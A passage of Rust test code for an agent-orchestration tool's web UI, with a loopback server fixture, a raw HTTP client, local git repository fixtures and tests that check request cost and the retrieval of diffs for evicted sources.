11764        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11765        assert_eq!(holder_of(&m, None), Some("nobody"));
11766    }
11767
11768    fn stub_config() -> Config {
11769        // An explicit roster, so the result never depends on which agent CLIs
11770        // this machine has installed.
11771        Config {
11772            agents: vec![crate::config::AgentSpec {
11773                id: "stub".to_owned(),
11774                kind: AgentKind::Command,
11775                model: None,
11776                command: vec!["true".to_owned()],
11777                extra_args: Vec::new(),
11778                env: Default::default(),
11779                prompt_delivery: None,
11780                max_turn_secs: None,
11781            }],
11782            ..Config::default()
11783        }
11784    }
11785
11786    fn plain_question(seat: &str) -> Question {
11787        Question::new(
11788            String::new(),
11789            "n".to_owned(),
11790            seat.to_owned(),
11791            "s".to_owned(),
11792            String::new(),
11793            Vec::new(),
11794        )
11795    }
11796
11797    #[test]
11798    fn deputies_enabled_follows_the_config() {
11799        let on = stub_config();
11800        assert!(crate::deputy::can_start(Some(&on), ""));
11801        assert!(crate::deputy::can_start(Some(&on), "stub"));
11802        let mut off = on.clone();
11803        off.daemon.max_deputies = 0;
11804        assert!(!crate::deputy::can_start(Some(&off), ""));
11805        let mut empty = on;
11806        empty.agents.clear();
11807        assert!(!crate::deputy::can_start(Some(&empty), ""));
11808        assert!(!crate::deputy::can_start(None, ""));
11809    }
11810
11811    #[test]
11812    fn question_views_load_the_config_once() {
11813        let dir = TempDir::new().unwrap();
11814        let store = ask::Questions::at(dir.path().to_path_buf());
11815        let mut with_deputy = plain_question("b");
11816        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11817        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11818
11819        let calls = std::cell::Cell::new(0usize);
11820        let views = question_views(qs.clone(), &store, || {
11821            calls.set(calls.get() + 1);
11822            Some(stub_config())
11823        });
11824        assert_eq!(calls.get(), 1);
11825        assert_eq!(views.len(), 3);
11826        for (v, q) in views.iter().zip(&qs) {
11827            assert_eq!(
11828                v.deputies_enabled,
11829                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11830            );
11831        }
11832
11833        let views = question_views(qs, &store, || None);
11834        assert!(views.iter().all(|v| !v.deputies_enabled));
11835
11836        let calls = std::cell::Cell::new(0usize);
11837        let views = question_views(Vec::new(), &store, || {
11838            calls.set(calls.get() + 1);
11839            None
11840        });
11841        assert!(views.is_empty());
11842        assert_eq!(calls.get(), 0);
11843    }
11844
11845    use pretty_assertions::assert_eq;
11846    use serde_json::Value;
11847    use tempfile::TempDir;
11848    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11849
11850    use super::*;
11851
11852    // Embedded assets preserve checkout line endings. Source assertions use
11853    // logical lines, independent of the platform's checkout conversion.
11854    static APP_JS: std::sync::LazyLock<String> =
11855        std::sync::LazyLock::new(|| super::APP_JS.replace("\r\n", "\n"));
11856    static APP_CSS: std::sync::LazyLock<String> =
11857        std::sync::LazyLock::new(|| super::APP_CSS.replace("\r\n", "\n"));
11858    use crate::config::Config;
11859    use crate::queue::Source;
11860
11861    /// How many 10ms steps a settle loop takes before it calls a stall a
11862    /// stall - thirty seconds.
11863    ///
11864    /// These loops wait on real `sh` subprocesses, and the machine that runs
11865    /// the gate runs several suites at once, so a two-second budget was not
11866    /// waiting for the reply, it was racing the scheduler: two of these
11867    /// tests failed under that load with the turn simply not landed yet.
11868    /// This is a hang guard, not a latency assertion - every loop breaks the
11869    /// moment its condition holds, so a generous cap costs an idle machine
11870    /// nothing and still fails a genuine hang instead of hanging the suite.
11871    const SETTLE_STEPS: usize = 3_000;
11872
11873    /// A home with a queue and a runs directory, and a router serving it on
11874    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11875    /// dependency, not ours - so the tests drive a real socket, which has the
11876    /// side benefit of asserting the status line and content types the phone
11877    /// actually receives.
11878    struct Fixture {
11879        home: TempDir,
11880        addr: SocketAddr,
11881    }
11882
11883    impl Fixture {
11884        async fn start() -> Self {
11885            Self::with_loop(launch_idle).await
11886        }
11887
11888        /// A fixture whose loop is `launch`.
11889        async fn with_loop(launch: Launch) -> Self {
11890            let home = TempDir::new().expect("temp home");
11891            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11892            Self { home, addr }
11893        }
11894
11895        /// A fixture whose `ui.repo` is a real directory rather than the
11896        /// usual placeholder - for the routes that read config off it
11897        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11898        async fn with_repo(repo: PathBuf) -> Self {
11899            let home = TempDir::new().expect("temp home");
11900            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11901            Self { home, addr }
11902        }
11903
11904        /// As [`Fixture::with_repo`], with the machine-config file the
11905        /// settings screen reads and writes.
11906        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11907            let home = TempDir::new().expect("temp home");
11908            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11909            Self { home, addr }
11910        }
11911
11912        async fn serve(
11913            home: &FsPath,
11914            repo: PathBuf,
11915            launch: Launch,
11916            machine: Option<PathBuf>,
11917        ) -> SocketAddr {
11918            let queue = Queue::at(home.join("queue"));
11919            let runs = home.join("runs");
11920            std::fs::create_dir_all(&runs).expect("runs dir");
11921            let worktrees = home.join("wt").join("magi");
11922            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11923            let ui = Ui::new(
11924                queue,
11925                Questions::at(home.join("questions")),
11926                Talks::at(home.join("talks")),
11927                runs,
11928                home.to_path_buf(),
11929                repo,
11930            )
11931            .with_worktrees_root(worktrees)
11932            .with_machine_config(machine)
11933            .with_launch(launch);
11934            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11935                .await
11936                .expect("bind loopback");
11937            let addr = listener.local_addr().expect("local addr");
11938            tokio::spawn(async move {
11939                let router = ui
11940                    .router()
11941                    .layer(axum::middleware::from_fn(request_cost::observe));
11942                let _ = axum::serve(listener, router).await;
11943            });
11944            addr
11945        }
11946
11947        fn queue(&self) -> Queue {
11948            Queue::at(self.home.path().join("queue"))
11949        }
11950
11951        fn questions(&self) -> Questions {
11952            Questions::at(self.home.path().join("questions"))
11953        }
11954
11955        fn talks(&self) -> Talks {
11956            Talks::at(self.home.path().join("talks"))
11957        }
11958
11959        fn runs(&self) -> PathBuf {
11960            self.home.path().join("runs")
11961        }
11962
11963        async fn get(&self, path: &str) -> Res {
11964            request(self.addr, "GET", path, None).await
11965        }
11966
11967        /// The status and headers without the body, which is how the front end
11968        /// preflights a panel: a sandboxed frame is opaque to the parent
11969        /// document, so the only way to tell "no panel" from "a panel that
11970        /// rendered blank" is to ask before mounting.
11971        async fn head(&self, path: &str) -> Res {
11972            request(self.addr, "HEAD", path, None).await
11973        }
11974
11975        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11976            request(self.addr, "POST", path, body).await
11977        }
11978
11979        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11980            request_with(self.addr, "GET", path, None, extra).await
11981        }
11982
11983        async fn delete(&self, path: &str) -> Res {
11984            request(self.addr, "DELETE", path, None).await
11985        }
11986
11987        async fn put(&self, path: &str, body: &str) -> Res {
11988            request(self.addr, "PUT", path, Some(body)).await
11989        }
11990
11991        /// `POST` a raw body with its own headers - see [`request_bytes`].
11992        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11993            request_bytes(self.addr, path, headers, body).await
11994        }
11995    }
11996
11997    /// Real tracking refs exercise the successful discovery path (including
11998    /// extraction), rather than counting cheap failures on a placeholder repo.
11999    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
12000        let tmp = TempDir::new().unwrap();
12001        let mut repos = Vec::new();
12002        for name in ["one", "two"] {
12003            let repo = tmp.path().join(name);
12004            let origin = tmp.path().join(format!("{name}.git"));
12005            std::fs::create_dir_all(&repo).unwrap();
12006            crate::git::git(&repo, &["init", "-b", "main"])
12007                .await
12008                .unwrap();
12009            std::fs::write(
12010                repo.join("magi.toml"),
12011                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
12012            )
12013            .unwrap();
12014            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
12015            crate::git::git(
12016                &repo,
12017                &[
12018                    "-c",
12019                    "user.name=fixture",
12020                    "-c",
12021                    "user.email=fixture@example.invalid",
12022                    "commit",
12023                    "-m",
12024                    "fixture",
12025                ],
12026            )
12027            .await
12028            .unwrap();
12029            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
12030                .await
12031                .unwrap();
12032            crate::git::git(
12033                &repo,
12034                &["remote", "add", "origin", origin.to_str().unwrap()],
12035            )
12036            .await
12037            .unwrap();
12038            crate::git::git(&repo, &["push", "origin", "main"])
12039                .await
12040                .unwrap();
12041            crate::git::git(
12042                &repo,
12043                &[
12044                    "symbolic-ref",
12045                    "refs/remotes/origin/HEAD",
12046                    "refs/remotes/origin/main",
12047                ],
12048            )
12049            .await
12050            .unwrap();
12051            let (cfg, _) = Config::discover(&repo, None).unwrap();
12052            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
12053            repos.push(repo);
12054        }
12055        let repos: [PathBuf; 2] = repos.try_into().unwrap();
12056        (tmp, repos)
12057    }
12058
12059    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
12060        let (tmp, repos) = performance_repositories().await;
12061        let machine = tmp.path().join("machine.toml");
12062        std::fs::write(&machine, "").unwrap();
12063        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
12064        (tmp, repos, fx)
12065    }
12066
12067    fn seed_performance(
12068        fx: &Fixture,
12069        repos: &[PathBuf; 2],
12070        questions: usize,
12071        runs: usize,
12072        items: usize,
12073    ) {
12074        // Saving states directly never starts a run or changes MAGI_HOME.
12075        for i in fx.questions().list().len()..questions {
12076            let mut question = Question::new(
12077                "20261001-000000-0000".into(),
12078                "implement".into(),
12079                "impl-A".into(),
12080                format!("question {i}"),
12081                "context".into(),
12082                vec!["yes".into(), "no".into()],
12083            );
12084            question.id = format!("20261003-000000-{i:04x}");
12085            fx.questions().put(&mut question).unwrap();
12086        }
12087        for i in run_ids(&fx.runs()).len()..runs {
12088            write_run_repo(
12089                &fx.runs(),
12090                &format!("20261001-000000-{i:04x}"),
12091                RunStatus::Ready,
12092                repos[i % 2].to_str().unwrap(),
12093            );
12094        }
12095        for i in fx.talks().list().len()..items {
12096            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
12097            let mut talk = fx.talks().get(&id).unwrap();
12098            talk.repo = repos[i % 2].clone();
12099            fx.talks().put(&mut talk).unwrap();
12100            let mut task = crate::queue::Task::new(
12101                format!("task {i}"),
12102                "instruction".into(),
12103                repos[i % 2].clone(),
12104                crate::queue::Source::Agent {
12105                    run: id,
12106                    node: crate::queue::CHAT_NODE.into(),
12107                },
12108            );
12109            task.id = format!("20261004-000000-{i:04x}");
12110            fx.queue().put(&mut task).unwrap();
12111            // Notices has a production retention cap; seed up to that cap.
12112            if i < crate::notices::CAP {
12113                Notices::at(fx.home.path().join("notifications"))
12114                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
12115                    .unwrap();
12116            }
12117        }
12118        assert_eq!(fx.questions().list().len(), questions);
12119        assert_eq!(run_ids(&fx.runs()).len(), runs);
12120        assert_eq!(fx.talks().list().len(), items);
12121        assert_eq!(fx.queue().list().len(), items);
12122        assert_eq!(
12123            Notices::at(fx.home.path().join("notifications"))
12124                .list()
12125                .len(),
12126            items.min(crate::notices::CAP)
12127        );
12128    }
12129
12130    #[tokio::test]
12131    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
12132        let home = TempDir::new().unwrap();
12133        let root = home.path().canonicalize().unwrap();
12134        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
12135        let fx = Fixture { home, addr };
12136        let repo = root.as_path().join("archive-repo");
12137        std::fs::create_dir(&repo).unwrap();
12138        crate::git::git(&repo, &["init", "-b", "main"])
12139            .await
12140            .unwrap();
12141        crate::git::git(&repo, &["config", "user.name", "Fixture"])
12142            .await
12143            .unwrap();
12144        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
12145            .await
12146            .unwrap();
12147        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
12148            .await
12149            .unwrap();
12150        std::fs::write(repo.join("source"), "base").unwrap();
12151        crate::git::git(&repo, &["add", "."]).await.unwrap();
12152        crate::git::git(&repo, &["commit", "-m", "base"])
12153            .await
12154            .unwrap();
12155        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12156        std::fs::write(repo.join("source"), "archived review").unwrap();
12157        crate::git::git(&repo, &["commit", "-am", "review"])
12158            .await
12159            .unwrap();
12160        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12161        let mut config = Config::default();
12162        config.graph.worktree_root = Some(root.as_path().join("copies"));
12163        let mut state = RunState::new(
12164            repo.clone(),
12165            "main".into(),
12166            base.clone(),
12167            "archive".into(),
12168            config,
12169        );
12170        state.id = "20260101-000000-ef05".into();
12171        state.status = RunStatus::Ready;
12172        state.save_under(root.as_path()).unwrap();
12173        let evidence =
12174            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
12175                .await
12176                .unwrap();
12177        let base_evidence =
12178            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
12179                .await
12180                .unwrap();
12181        let source = state.worktree_root().join("review-1");
12182        let mut contents = std::collections::BTreeMap::new();
12183        contents.insert(
12184            repo.join("logs/HEAD"),
12185            format!("{base} {head} fixture\n").into_bytes(),
12186        );
12187        let record = serde_json::json!({
12188            "version":1, "run":state.id, "source":source, "head":head,
12189            "evidence":evidence, "admin":{}, "admin_contents":contents,
12190            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
12191        });
12192        std::fs::write(
12193            fx.runs()
12194                .join(&state.id)
12195                .join("artifacts/eviction-review-1.json"),
12196            serde_json::to_vec(&record).unwrap(),
12197        )
12198        .unwrap();
12199        std::fs::remove_dir_all(&repo).unwrap();
12200        let url = format!("/api/runs/{}/seat-evidence", state.id);
12201        let list = fx.get(&url).await;
12202        assert_eq!(list.status, 200, "{}", list.body);
12203        assert_eq!(list.json()[&head], "review-1");
12204        let patch = fx.get(&format!("{url}/{head}")).await;
12205        assert_eq!(patch.status, 200, "{}", patch.body);
12206        assert!(patch.body.contains("+archived review"));
12207        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
12208        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
12209        assert_eq!(fx.get(&url).await.status, 404);
12210        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
12211    }
12212
12213    fn request_counts(res: &Res) -> (usize, usize) {
12214        assert_eq!(res.status, 200, "{}", res.body);
12215        (
12216            res.header("x-test-discoveries").unwrap().parse().unwrap(),
12217            res.header("x-test-git").unwrap().parse().unwrap(),
12218        )
12219    }
12220
12221    #[tokio::test]
12222    async fn list_request_cost_is_independent_of_record_count() {
12223        let mut previous = None;
12224        for n in [4, 60] {
12225            // Health refreshes configuration on a detached thread. Run it
12226            // last and give each scale its own repository/cache so that
12227            // refresh cannot warm the next measured cold extraction.
12228            let (_tmp, repos, fx) = performance_fixture().await;
12229            seed_performance(&fx, &repos, n, n, n);
12230            let mut costs = Vec::new();
12231            for (path, discoveries) in [
12232                ("/api/questions", 1),
12233                ("/api/talks", 0),
12234                ("/api/stats", 1),
12235                ("/api/health", 0),
12236            ] {
12237                // Equal cold extraction caches at both scales; this also
12238                // bounds first-request cost instead of only warmed requests.
12239                for repo in &repos {
12240                    let cache = repo.join(".git/magi/config");
12241                    if cache.exists() {
12242                        std::fs::remove_dir_all(cache).unwrap();
12243                    }
12244                }
12245                let cost = request_counts(&fx.get(path).await);
12246                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
12247                assert_eq!(cost.0, discoveries, "{path}, N={n}");
12248                assert!(
12249                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
12250                    "{path}: {cost:?}"
12251                );
12252                costs.push(cost);
12253            }
12254            if let Some(previous) = previous {
12255                assert_eq!(costs, previous);
12256            }
12257            previous = Some(costs);
12258        }
12259        // runs reads shared row inputs and probes process liveness; queue
12260        // builds one blocker inventory; notifications reads its own store.
12261        // None discovers configuration or spawns git per item.
12262    }
12263
12264    /// The same handler path without transport, so the deterministic cause
12265    /// can also be checked in environments that prohibit binding sockets.
12266    #[tokio::test]
12267    async fn list_handler_cost_without_transport() {
12268        let mut previous = None;
12269        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
12270            // As in the transport test, isolate each scale from the previous
12271            // health request's detached configuration refresh.
12272            let (_tmp, repos) = performance_repositories().await;
12273            let fx = Fixture {
12274                home: TempDir::new().unwrap(),
12275                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12276            };
12277            let ui = Arc::new(
12278                Ui::new(
12279                    fx.queue(),
12280                    fx.questions(),
12281                    fx.talks(),
12282                    fx.runs(),
12283                    fx.home.path().to_path_buf(),
12284                    repos[0].clone(),
12285                )
12286                .with_worktrees_root(fx.home.path().join("wt")),
12287            );
12288            seed_performance(&fx, &repos, n, runs, items);
12289            let mut costs = Vec::new();
12290            for endpoint in ["questions", "talks", "stats", "health"] {
12291                for repo in &repos {
12292                    let cache = repo.join(".git/magi/config");
12293                    if cache.exists() {
12294                        std::fs::remove_dir_all(cache).unwrap();
12295                    }
12296                }
12297                let (_, cost) = request_cost::measure(async {
12298                    match endpoint {
12299                        "questions" => {
12300                            let _ = questions_list(State(ui.clone())).await.unwrap();
12301                        }
12302                        "talks" => {
12303                            let _ = talks_list(
12304                                State(ui.clone()),
12305                                Query(ListQuery {
12306                                    limit: None,
12307                                    ids: None,
12308                                }),
12309                                header::HeaderMap::new(),
12310                            )
12311                            .await
12312                            .unwrap();
12313                        }
12314                        "health" => {
12315                            let _ = health(State(ui.clone())).await.unwrap();
12316                        }
12317                        _ => {
12318                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
12319                                .await
12320                                .unwrap();
12321                        }
12322                    }
12323                })
12324                .await;
12325                eprintln!("{endpoint} handler N={n}: {cost:?}");
12326                assert_eq!(
12327                    cost.0,
12328                    if matches!(endpoint, "talks" | "health") {
12329                        0
12330                    } else {
12331                        1
12332                    },
12333                    "{endpoint}"
12334                );
12335                assert!(
12336                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
12337                    "{endpoint}: {cost:?}"
12338                );
12339                costs.push(cost);
12340            }
12341            if let Some(previous) = previous {
12342                assert_eq!(costs, previous);
12343            }
12344            previous = Some(costs);
12345        }
12346    }
12347
12348    #[tokio::test]
12349    async fn monitor_and_periodic_update_recheck_git_cost() {
12350        let (tmp, repos) = performance_repositories().await;
12351        let fx = Fixture {
12352            home: TempDir::new().unwrap(),
12353            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12354        };
12355        let ui = Arc::new(
12356            Ui::new(
12357                fx.queue(),
12358                fx.questions(),
12359                fx.talks(),
12360                fx.runs(),
12361                fx.home.path().to_path_buf(),
12362                repos[0].clone(),
12363            )
12364            .with_worktrees_root(fx.home.path().join("wt")),
12365        );
12366        let cache = repos[0].join(".git/magi/config");
12367        if cache.exists() {
12368            std::fs::remove_dir_all(&cache).unwrap();
12369        }
12370
12371        let (_, monitor_cost) = request_cost::measure(async {
12372            let mut snapshot = None;
12373            for _ in 0..20 {
12374                let state = Arc::clone(&ui);
12375                snapshot = Some(
12376                    tokio::task::spawn_blocking(request_cost::carry(move || {
12377                        monitor_scan(&state, snapshot)
12378                    }))
12379                    .await
12380                    .unwrap(),
12381                );
12382            }
12383        })
12384        .await;
12385        assert_eq!(monitor_cost, (0, 0));
12386
12387        // The idle update worker, unlike the revision monitor, reads config.
12388        let (_, cold_cost) = request_cost::measure(async {
12389            for _ in 0..20 {
12390                assert_eq!(update_recheck_once(&ui).await, UPDATE_RECHECK_POLL_MAX);
12391            }
12392        })
12393        .await;
12394        assert_eq!(cold_cost, (20, 21));
12395
12396        // Move `origin/main` via a separate clone without touching `repos[0]`'s
12397        // working tree, then fetch; the next scan must immediately observe the
12398        // new committed `magi.toml`.
12399        let origin = tmp.path().join("one.git");
12400        let pusher = tmp.path().join("pusher-one");
12401        crate::git::git(
12402            tmp.path(),
12403            &[
12404                "clone",
12405                "-b",
12406                "main",
12407                origin.to_str().unwrap(),
12408                pusher.to_str().unwrap(),
12409            ],
12410        )
12411        .await
12412        .unwrap();
12413        std::fs::write(
12414            pusher.join("magi.toml"),
12415            format!("{MOCK_AGENT_TOML}\n[graph]\nimplementers = 3\n[repos]\nroots = []\n[update]\nmode = \"off\"\ninterval = \"1m\"\n[verify]\ne2e = []\ngate = []\n"),
12416        )
12417        .unwrap();
12418        crate::git::git(&pusher, &["add", "magi.toml"])
12419            .await
12420            .unwrap();
12421        crate::git::git(
12422            &pusher,
12423            &[
12424                "-c",
12425                "user.name=fixture",
12426                "-c",
12427                "user.email=fixture@example.invalid",
12428                "commit",
12429                "-m",
12430                "bump implementers",
12431            ],
12432        )
12433        .await
12434        .unwrap();
12435        crate::git::git(&pusher, &["push", "origin", "main"])
12436            .await
12437            .unwrap();
12438        crate::git::git(&repos[0], &["fetch", "origin"])
12439            .await
12440            .unwrap();
12441
12442        let (observed, moved_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12443        assert_eq!(observed, UPDATE_RECHECK_POLL_MIN);
12444        assert_eq!(moved_cost, (1, 2));
12445        let (observed_again, warm_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12446        assert_eq!(observed_again, observed);
12447        assert_eq!(warm_cost, (1, 1));
12448    }
12449
12450    #[tokio::test]
12451    async fn list_request_cost_scopes_do_not_mix() {
12452        let (_tmp, repos, fx) = performance_fixture().await;
12453        seed_performance(&fx, &repos, 10, 0, 10);
12454        let (questions, talks, notices) = tokio::join!(
12455            fx.get("/api/questions"),
12456            fx.get("/api/talks"),
12457            fx.get("/api/notifications")
12458        );
12459        assert_eq!(request_counts(&questions).0, 1);
12460        // Cached summaries perform no config discovery or git work, even
12461        // alongside the questions request that still discovers config.
12462        assert_eq!(request_counts(&talks), (0, 0));
12463        assert_eq!(request_counts(&notices), (0, 0));
12464    }
12465
12466    #[tokio::test]
12467    async fn list_endpoints_large_home_responses() {
12468        check_large_home_endpoints(false).await;
12469    }
12470
12471    #[tokio::test]
12472    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
12473    async fn list_endpoints_large_home_ceiling() {
12474        check_large_home_endpoints(true).await;
12475    }
12476
12477    async fn check_large_home_endpoints(timed: bool) {
12478        let (_tmp, repos, fx) = performance_fixture().await;
12479        seed_performance(&fx, &repos, 200, 300, 400);
12480        let mut failures = Vec::new();
12481        // app.js boot/change loads plus the initial dashboard, settings and
12482        // repo picker. SSE is a persistent stream, not a bounded GET.
12483        for path in [
12484            "/",
12485            "/app.js",
12486            "/app.css",
12487            "/api/questions",
12488            "/api/runs?limit=300",
12489            "/api/queue",
12490            "/api/talks",
12491            "/api/notifications",
12492            "/api/health",
12493            "/api/stats",
12494            "/api/loop",
12495            "/api/settings",
12496            "/api/repos",
12497        ] {
12498            let start = std::time::Instant::now();
12499            let result = if timed {
12500                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
12501            } else {
12502                Ok(fx.get(path).await)
12503            };
12504            let elapsed = start.elapsed();
12505            eprintln!("{path}: {elapsed:?}");
12506            match result {
12507                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
12508                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
12509                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
12510            }
12511        }
12512        assert!(failures.is_empty(), "{}", failures.join("\n"));
12513    }
12514
12515    struct Res {
12516        status: u16,
12517        headers: String,
12518        /// The header block with its original casing, for the assertions that
12519        /// compare a header *value* rather than looking for a name. Lowercasing
12520        /// a CSP would hide a directive spelled with a capital letter, and the
12521        /// whole point of that test is that the string is exactly right.
12522        head: String,
12523        body: String,
12524        /// The body before any UTF-8 handling, for the routes that serve
12525        /// something other than text. A panel asset is a PNG as often as not,
12526        /// and `from_utf8_lossy` would silently replace half of it.
12527        bytes: Vec<u8>,
12528    }
12529
12530    impl Res {
12531        fn json(&self) -> Value {
12532            serde_json::from_str(&self.body)
12533                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12534        }
12535
12536        /// One header's value verbatim, or `None` when it was not sent.
12537        fn header(&self, name: &str) -> Option<&str> {
12538            self.head.lines().find_map(|line| {
12539                let (key, value) = line.split_once(':')?;
12540                key.trim()
12541                    .eq_ignore_ascii_case(name)
12542                    .then(|| value.trim_start().trim_end_matches('\r'))
12543            })
12544        }
12545    }
12546
12547    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12548    /// be read to end-of-stream without parsing framing.
12549    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12550        request_with(addr, method, path, body, &[]).await
12551    }
12552
12553    /// As [`request`], with extra request headers - conditional GETs need
12554    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12555    /// worse than one that sets none.
12556    async fn request_with(
12557        addr: SocketAddr,
12558        method: &str,
12559        path: &str,
12560        body: Option<&str>,
12561        extra: &[(&str, &str)],
12562    ) -> Res {
12563        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12564        for (name, value) in extra {
12565            head.push_str(&format!("{name}: {value}\r\n"));
12566        }
12567        if let Some(body) = body {
12568            head.push_str("Content-Type: application/json\r\n");
12569            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12570        }
12571        head.push_str("\r\n");
12572        if let Some(body) = body {
12573            head.push_str(body);
12574        }
12575        let mut socket = tokio::net::TcpStream::connect(addr)
12576            .await
12577            .expect("connect to the test server");
12578        socket
12579            .write_all(head.as_bytes())
12580            .await
12581            .expect("write request");
12582        let mut raw = Vec::new();
12583        socket.read_to_end(&mut raw).await.expect("read response");
12584        // Split on the raw bytes rather than on a lossy string, so a binary
12585        // body survives to be compared byte for byte.
12586        let split = raw
12587            .windows(4)
12588            .position(|w| w == b"\r\n\r\n")
12589            .expect("a header block");
12590        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12591        let bytes = raw[split + 4..].to_vec();
12592        let status = head
12593            .lines()
12594            .next()
12595            .and_then(|line| line.split_whitespace().nth(1))
12596            .and_then(|code| code.parse().ok())
12597            .expect("a status line");
12598        Res {
12599            status,
12600            headers: head.to_lowercase(),
12601            head,
12602            body: String::from_utf8_lossy(&bytes).into_owned(),
12603            bytes,
12604        }
12605    }
12606
12607    /// A `POST` carrying a raw binary body and its own headers, for the
12608    /// attachment upload route - `request_with` only ever sends
12609    /// `Content-Type: application/json`, which is wrong for an image and
12610    /// would corrupt anything not valid UTF-8 by round-tripping it through
12611    /// `&str` first.
12612    async fn request_bytes(
12613        addr: SocketAddr,
12614        path: &str,
12615        headers: &[(&str, &str)],
12616        body: &[u8],
12617    ) -> Res {
12618        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12619        for (name, value) in headers {
12620            head.push_str(&format!("{name}: {value}\r\n"));
12621        }
12622        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12623        let mut socket = tokio::net::TcpStream::connect(addr)
12624            .await
12625            .expect("connect to the test server");
12626        socket
12627            .write_all(head.as_bytes())
12628            .await
12629            .expect("write request head");
12630        socket.write_all(body).await.expect("write request body");
12631        let mut raw = Vec::new();
12632        socket.read_to_end(&mut raw).await.expect("read response");
12633        let split = raw
12634            .windows(4)
12635            .position(|w| w == b"\r\n\r\n")
12636            .expect("a header block");
12637        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12638        let bytes = raw[split + 4..].to_vec();
12639        let status = head
12640            .lines()
12641            .next()
12642            .and_then(|line| line.split_whitespace().nth(1))
12643            .and_then(|code| code.parse().ok())
12644            .expect("a status line");
12645        Res {
12646            status,
12647            headers: head.to_lowercase(),
12648            head,
12649            body: String::from_utf8_lossy(&bytes).into_owned(),
12650            bytes,
12651        }
12652    }
12653
12654    /// A run on disk, without touching the process-global magi home.
12655    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12656        let mut state = RunState::new(
12657            PathBuf::from("/repo/magi"),
12658            "main".to_owned(),
12659            "0123456789abcdef".to_owned(),
12660            "Add a web UI\n\nMobile first.".to_owned(),
12661            Config::default(),
12662        );
12663        state.id = id.to_owned();
12664        state.status = status;
12665        let dir = runs.join(id);
12666        std::fs::create_dir_all(&dir).expect("run dir");
12667        std::fs::write(
12668            dir.join("run.json"),
12669            serde_json::to_string_pretty(&state).expect("serialize run"),
12670        )
12671        .expect("write run.json");
12672    }
12673
12674    /// Same as [`write_run`], but against a named repository rather than the
12675    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12676    /// spread across more than one.
12677    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12678        let mut state = RunState::new(
12679            PathBuf::from(repo),
12680            "main".to_owned(),
12681            "0123456789abcdef".to_owned(),
12682            "task".to_owned(),
12683            Config::default(),
12684        );
12685        state.id = id.to_owned();
12686        state.status = status;
12687        let dir = runs.join(id);
12688        std::fs::create_dir_all(&dir).expect("run dir");
12689        std::fs::write(
12690            dir.join("run.json"),
12691            serde_json::to_string_pretty(&state).expect("serialize run"),
12692        )
12693        .expect("write run.json");
12694    }
12695
12696    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
